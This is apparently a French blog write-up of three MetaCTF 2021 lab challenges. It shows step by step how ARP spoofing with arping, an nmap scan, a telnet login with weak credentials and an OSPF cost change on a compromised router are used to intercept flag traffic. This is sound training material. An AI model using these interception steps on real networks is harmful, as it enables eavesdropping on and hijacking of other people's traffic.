Post

Interception - MetaCTF 2021

Interception - MetaCTF 2021

Interception - Partie I

Dans ce challenge, l’objectif est de réaliser une attaque de type Man In The Middle (MiTM) sur un réseau local afin de capturer le trafic UDP.

Détails

  • Catégorie : misc
  • Points : 100
  • Résolutions : 200

Description

192.168.0.1 is periodically (once every 4 seconds) sending the flag to 192.168.0.2 over UDP port 8000. Go get it.

ssh ctf-1@host.cg21.metaproblems.com -p 7000

Méthodologie

Comprendre le problème

La connexion se fait par SSH sur le port 7000. Une fois connecté, nous sommes sur une machine busybox en tant qu’utilisateur root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/ # uname -a
Linux 5b9ec8c79c03 5.11.0-1021-aws #22~20.04.2-Ubuntu SMP Wed Oct 27 21:27:13 UTC 2021 x86_64 Linux

/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

/ # ls -l /bin/
total 912
lrwxrwxrwx    1 root     root            12 Nov 24 09:20 arch -> /bin/busybox
lrwxrwxrwx    1 root     root            12 Nov 24 09:20 ash -> /bin/busybox
lrwxrwxrwx    1 root     root            12 Nov 24 09:20 base64 -> /bin/busybox
lrwxrwxrwx    1 root     root            12 Nov 24 09:20 bbconfig -> /bin/busybox
-rwxr-xr-x    1 root     root        824984 Nov 23 00:57 busybox
-rwxr-xr-x    1 root     root        104072 Nov 23 00:57 busybox-extras
[...]

D’après la description du challenge, 192.168.0.1 (victime) envoie le flag à 192.168.0.2 (serveur). D’autre part, notre adresse IP est 192.168.0.3 :

1
2
3
4
5
6
7
8
9
/ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
19168: eth0@if19169: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:0a:02:12:c4 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.3/24 scope global eth0
       valid_lft forever preferred_lft forever

La topologie du réseau est décrite ci-dessous :

Résoudre le problème

L’objectif est d’intercepter le flag en mettant en place une attaque de type MiTM pour usurper l’adresse IP du serveur (192.168.0.2). Tout d’abord, il est important de noter que nous sommes dans le même réseau local que la victime et le serveur (192.168.0.0/24). Ainsi, la meilleure façon de mettre en place ce type d’attaque est d’utiliser l’empoisonnement ARP.

ARP est l’abréviation de Address Resolution Protocol (protocole de résolution d’adresse). Il est utilisé par les switches pour faire correspondre une adresse IP à une adresse MAC. Cela permet d’identifier précisément tous les appareils du réseau.

Sachant cela, tout ce que nous avons à faire est d’empoisonner la table ARP de la victime pour lui faire croire que l’adresse IP du serveur est associée à notre adresse MAC. La victime cherchera dans sa table ARP l’adresse MAC associée à l’adresse IP du serveur (qui sera la nôtre) et enverra ensuite le flag à cette adresse MAC. Nous pouvons alors intercepter le flag en utilisant nc ou tcpdump.

Implémentation de la solution

La machine distante n’a pas accès à Internet et ne dispose pas de apt.

1
2
3
/ # ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8): 56 data bytes
ping: sendto: Network unreachable

Nous avons dû composer avec le peu d’outils pré-installés (rappelez-vous que nous étions connectés à une machine busybox). Les outils habituels comme ettercap ou arpspoof ne sont pas installés par défaut. Après quelques recherches, les seuls outils qui semblent être intéressants sont arping, tcpdump et nc.

1
2
3
4
5
6
7
8
9
/ # which nc tcpdump
/usr/bin/nc
/usr/bin/tcpdump

/ # ls -l /usr/sbin/
total 0
...
lrwxrwxrwx    1 root     root            12 Nov 24 09:20 arping -> /bin/busybox
...

L’utilitaire arping nous permet d’envoyer des réponses ARP non sollicitées à la victime (en utilisant le paramètre -U), mettant donc à jour sa table ARP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/ # arping --help
BusyBox v1.34.1 (2021-11-23 00:57:35 UTC) multi-call binary.

Usage: arping [-fqbDUA] [-c CNT] [-w TIMEOUT] [-I IFACE] [-s SRC_IP] DST_IP

Send ARP requests/replies

	-f		Quit on first ARP reply
	-q		Quiet
	-b		Keep broadcasting, don't go unicast
	-D		Exit with 1 if DST_IP replies
	-U		Unsolicited ARP mode, update your neighbors
	-A		ARP answer mode, update your neighbors
	-c N		Stop after sending N ARP requests
	-w TIMEOUT	Seconds to wait for ARP reply
	-I IFACE	Interface to use (default eth0)
	-s SRC_IP	Sender IP address
	DST_IP		Target IP address

Arping ne nous permet pas d’utiliser une adresse IP d’expéditeur qui n’est pas définie dans une de nos interfaces réseau. Nous avons donc dû créer une sous-interface avec l’adresse IP du serveur :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/ # ifconfig eth0:1 192.168.0.2

/ # ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:0A:02:13:84
          inet addr:192.168.0.3  Bcast:0.0.0.0  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:978 (978.0 B)  TX bytes:42 (42.0 B)

eth0:1    Link encap:Ethernet  HWaddr 02:42:0A:02:13:84
          inet addr:192.168.0.2  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1a

Dès lors, nous avons pu envoyer la réponse ARP en utilisant arping tout en configurant un listener sur le port UDP 8000 :

1
2
3
4
5
6
7
/ # arping -c 1 -U -s 192.168.0.2 192.168.0.1
ARPING 192.168.0.1 from 192.168.0.2 eth0
Sent 1 probe(s) (0 broadcast(s))
Received 0 response(s) (0 request(s), 0 broadcast(s))

/ # nc -ul 8000
MetaCTF{addr3s5_r3s0lut1on_pwn4g3}

Le flag est alors apparu dans notre sortie nc.

Par ailleurs, cela fonctionne également en spécifiant une autre adresse IP du même sous-réseau (arping met à jour les adresses IP de tous les voisins lorsque le paramètre -U est spécifié).

1
2
3
4
5
6
7
8
9
/ # ifconfig eth0:1 192.168.0.2

/ # arping -c 1 -U -s 192.168.0.2 192.168.0.99
ARPING 192.168.0.99 from 192.168.0.2 eth0
Sent 1 probe(s) (0 broadcast(s))
Received 0 response(s) (0 request(s), 0 broadcast(s))

/ # nc -ul 8000
MetaCTF{addr3s5_r3s0lut1on_pwn4g3}

Flag : MetaCTF{addr3s5_r3s0lut1on_pwn4g3}

Interception - Partie II

Dans ce challenge, l’objectif est de réaliser une attaque de type Man In The Middle (MiTM) sur un réseau local afin de capturer le trafic TCP sans connaitre les adresses IP des machines cibles.

Details

  • Catégorie : other
  • Points : 150
  • Résolutions : 126

Description

Someone on this network is periodically sending the flag to … someone else on this network, over TCP port 8000. Go get it.

ssh ctf-46ed3559da08@host.cg21.metaproblems.com -p 7000

Méthodologie

Comprendre le problème

Le problème est similaire à celui décrit ci-dessus mais, cette fois-ci, nous ne savons pas qui sont la victime et le serveur. De plus, le flag est envoyé via TCP.

La topologie du réseau est décrite ci-dessous :

Résoudre le problème

Nous devons identifier la victime et le serveur pour récupérer leurs adresses IP avant de mettre en place la même attaque que ci-dessus.

Implémentation de la solution

Nous étions toujours sur une machine busybox, mais cette fois-ci nmap était installé :

1
2
/ # which nmap
/usr/bin/nmap

Nous pouvons donc l’utiliser pour découvrir quel serveur va recevoir le flag :

1
2
3
4
5
6
/ # nmap -p 8000 192.168.0.* | grep -B 4 open
Nmap scan report for ip-192-168-0-78.ec2.internal (192.168.0.78)
Host is up (0.000014s latency).

PORT     STATE SERVICE
8000/tcp open  http-alt

Nous avons ensuite utilisé la même technique que précédemment :

1
2
3
4
5
6
7
8
9
/ # ifconfig eth0:1 192.168.0.78

/ # arping -c 1 -U -s 192.168.0.78 192.168.0.1
ARPING 192.168.0.1 from 192.168.0.78 eth0
Sent 1 probe(s) (0 broadcast(s))
Received 0 response(s) (0 request(s), 0 broadcast(s))

/ # nc -l 8000
MetaCTF{s0_m4ny_1ps_but_wh1ch_t0_ch00s3}

Flag : MetaCTF{s0_m4ny_1ps_but_wh1ch_t0_ch00s3}

Interception III

Par : ABE + FPI

Dans ce challenge, les machines cibles ne sont pas dans le même réseau que nous. L’objectif est donc de compromettre un routeur afin de modifier la route empruntée par les paquets. Ceci dans le but de les intercepter en écoutant le trafic UDP sur le routeur compromis.

Details

  • Catégorie : other
  • Points : 275
  • Résolutions : 45

Description

192.168.55.3 is periodically sending the flag to 172.16.0.2 over UDP port 8000. Go get it. By the way, I’ve been told the admins at this organization use really shoddy passwords.

ssh ctf-f36ef72cadc1@host.cg21.metaproblems.com -p 7000

Méthodologie

Comprendre le problème

D’après la description, il s’agit exactement du même problème que ci-dessus, mais cette fois-ci, il y a au moins deux réseaux différents avec lesquels il faut travailler.

En se connectant à la machine par SSH, il y a en fait trois réseaux différents, car nous n’étions pas dans l’un des deux précédents :

1
2
3
4
5
6
7
8
9
/ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
19298: enp0s0@if19299: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:0a:02:16:04 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.3/24 scope global enp0s0
       valid_lft forever preferred_lft forever

La topologie du réseau est décrite ci-dessous :

Résoudre le problème

Comme nous devions traiter avec différents réseaux, la méthode d’empoisonnement ARP que nous utilisions jusqu’à présent ne pouvait plus fonctionner. Ici, nous devrons effectuer une attaque sur la couche réseau.

Lorsque la victime envoie le flag au serveur, le paquet emprunte la route ci-dessous (représentée en rouge) :

L’idée est donc de forcer tout le trafic du réseau de la victime à passer par notre routeur. Le flag empruntera donc la route suivante :

Pour ce faire, nous devons compromettre notre propre routeur d’une manière ou d’une autre. Heureusement, les auteurs nous ont donné des informations d’identification dans un indice. Peut-être pourrions-nous les utiliser quelque part pour obtenir un accès.

Implémentation de la solution

Nous avons commencé par scanner notre propre réseau :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/ # nmap 192.168.0.*
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-11 17:25 UTC
Nmap scan report for ip-192-168-0-1.ec2.internal (192.168.0.1)
Host is up (0.000026s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
23/tcp open  telnet
MAC Address: 02:42:0A:02:16:02 (Unknown)

Nmap scan report for ip-192-168-0-2.ec2.internal (192.168.0.2)
Host is up (0.000012s latency).
All 1000 scanned ports on ip-192-168-0-2.ec2.internal (192.168.0.2) are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 02:42:0A:02:16:03 (Unknown)

Nmap scan report for ip-192-168-0-3.ec2.internal (192.168.0.3)
Host is up (0.0000090s latency).
All 1000 scanned ports on ip-192-168-0-3.ec2.internal (192.168.0.3) are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (3 hosts up) scanned in 2.43 seconds

Nous avons découvert que le port 23 est ouvert sur notre routeur (192.168.0.1). Nous avons donc essayé de nous y connecter en utilisant les informations d’identification fournies (root:admin) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/ # telnet 192.168.0.1
Connected to 192.168.0.1

Entering character mode
Escape character is '^]'.

Debian GNU/Linux 11
router-sales login: root
Password:
Linux router-sales 5.11.0-1021-aws #22~20.04.2-Ubuntu SMP Wed Oct 27 21:27:13 UTC 2021 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@router-sales:~#

La première chose que nous avons remarquée est qu’un étrange utilitaire “bird” a été préinstallé :

1
2
3
4
5
6
7
8
root@router-sales:~# ls -la
total 1132
drwx------ 1 root root    4096 Dec  4 11:55 .
drwxr-xr-x 1 root root    4096 Dec 11 17:22 ..
-rw-rw-r-- 1 root root     135 Dec  3 13:29 .bashrc
-rw-r--r-- 1 root root     161 Jul  9  2019 .profile
drwxrwxr-x 1 1000 1000    4096 Dec  3 09:10 bird-2.0.8
-rw-r--r-- 1 root root 1135228 Dec  3 09:09 bird-2.0.8.tar.gz

Après quelques recherches, nous avons découvert que c’est un démon de routage. Son fichier de configuration est présenté ci-dessous :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
root@router-sales:~# cat /usr/local/etc/bird.conf
# COMPANY BIRD CONFIGURATION

# Configure logging
log syslog all;

protocol device {
}

protocol direct {
        ipv4;
}

protocol kernel {
        ipv4 {
              export all;
        };
}

protocol ospf {
        ipv4 {
              import filter {
                      if net.len > 24 then reject; else accept; # overly specific routes are sus!
              };
              export filter {
                      ospf_metric1 = 1000;
                      if source = RTS_STATIC then accept; else reject;
              };
        };

        area 0 {
              interface "enp1s0" { # sales - executive dept link
                      type ptp;
                      cost 6;
                      hello 5;
              };
              interface "enp2s0" { # sales - it dept link
                      type ptp;
                      cost 7;
                      hello 5;
              };
              interface "enp3s0" { # it dept - executive link
                      type ptp;
                      cost 8;
                      hello 5;
              };
              interface "enp0s0" {
                      stub;
              };
        };
}

Toutes les interfaces ont trois paramètres : type, cost et hello. Le seul qui nous intéresse est “cost”.

Le protocole Open Shortest Path First (OSPF) est utilisé. Ce protocole détermine le chemin le plus court pour chaque paquet à livrer en prenant en compte le paramètre “coût”. Le chemin le plus court est celui qui présente le facteur “coût” le plus faible.

Par exemple, dans la configuration par défaut, le chemin le plus court est celui représenté en rouge. Il a un facteur “coût” de 8, au lieu de 13 pour le chemin alternatif :

Les modifications ne sont prises en compte qu’après rechargement du fichier de configuration. Pour cela, nous avons utilisé le client birdc existant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@router-sales:~# birdc
BIRD 2.0.8 ready.
bird> ?
quit                                           Quit the client
exit                                           Exit the client
help                                           Description of the help system
show ...                                       Show status information
dump ...                                       Dump debugging information
eval <expr>                                    Evaluate an expression
echo ...                                       Control echoing of log messages
disable (<protocol> | "<pattern>" | all) [message]  Disable protocol
enable (<protocol> | "<pattern>" | all) [message]  Enable protocol
restart (<protocol> | "<pattern>" | all) [message]  Restart protocol
reload <protocol> | "<pattern>" | all          Reload protocol
debug ...                                      Control protocol debugging via BIRD logs
mrtdump ...                                    Control protocol debugging via MRTdump files
restrict                                       Restrict current CLI session to safe commands
configure ...                                  Reload configuration
down                                           Shut the daemon down
graceful restart                               Shut the daemon down for graceful restart

bird> configure
Reading configuration from /usr/local/etc/bird.conf
Reconfigured

Nous avons modifié les facteurs “coût” de manière à ce que leur somme soit inférieure à 8 (c’est-à-dire 1 et 1) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        area 0 {
              interface "enp1s0" { # sales - executive dept link
                      type ptp;
                      cost 1;
                      hello 5;
              };
              interface "enp2s0" { # sales - it dept link
                      type ptp;
                      cost 1;
                      hello 5;
              };
              interface "enp3s0" { # it dept - executive link
                      type ptp;
                      cost 8;
                      hello 5;
              };
              interface "enp0s0" {
                      stub;
              };
        };

Le nouveau chemin le plus court devient alors le suivant :

Comme le flag est envoyé via UDP, nous avons capturé tout le trafic passant par notre routeur :

1
2
3
4
5
6
7
8
9
root@router-sales:~# tcpdump udp -i enp1s0 -X
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
17:50:26.993166 IP 192.168.55.3.43303 > 172.16.0.2.8000: UDP, length 38
	0x0000:  4500 0042 c597 4000 3f11 d255 c0a8 3703  E..B..@.?..U..7.
	0x0010:  ac10 0002 a927 1f40 002e a3fd 4d65 7461  .....'.@....Meta
	0x0020:  4354 467b 6c30 306b 5f61 745f 6d33 5f31  CTF{l00k_at_m3_1
	0x0030:  6d5f 7468 335f 7230 7574 3372 5f6e 3077  m_th3_r0ut3r_n0w
	0x0040:  7d0a                                     }.

Et le flag était à nous :

Flag : MetaCTF{l00k_at_m3_1m_th3_r0ut3r_n0w}

This post is licensed under CC BY 4.0 by the author.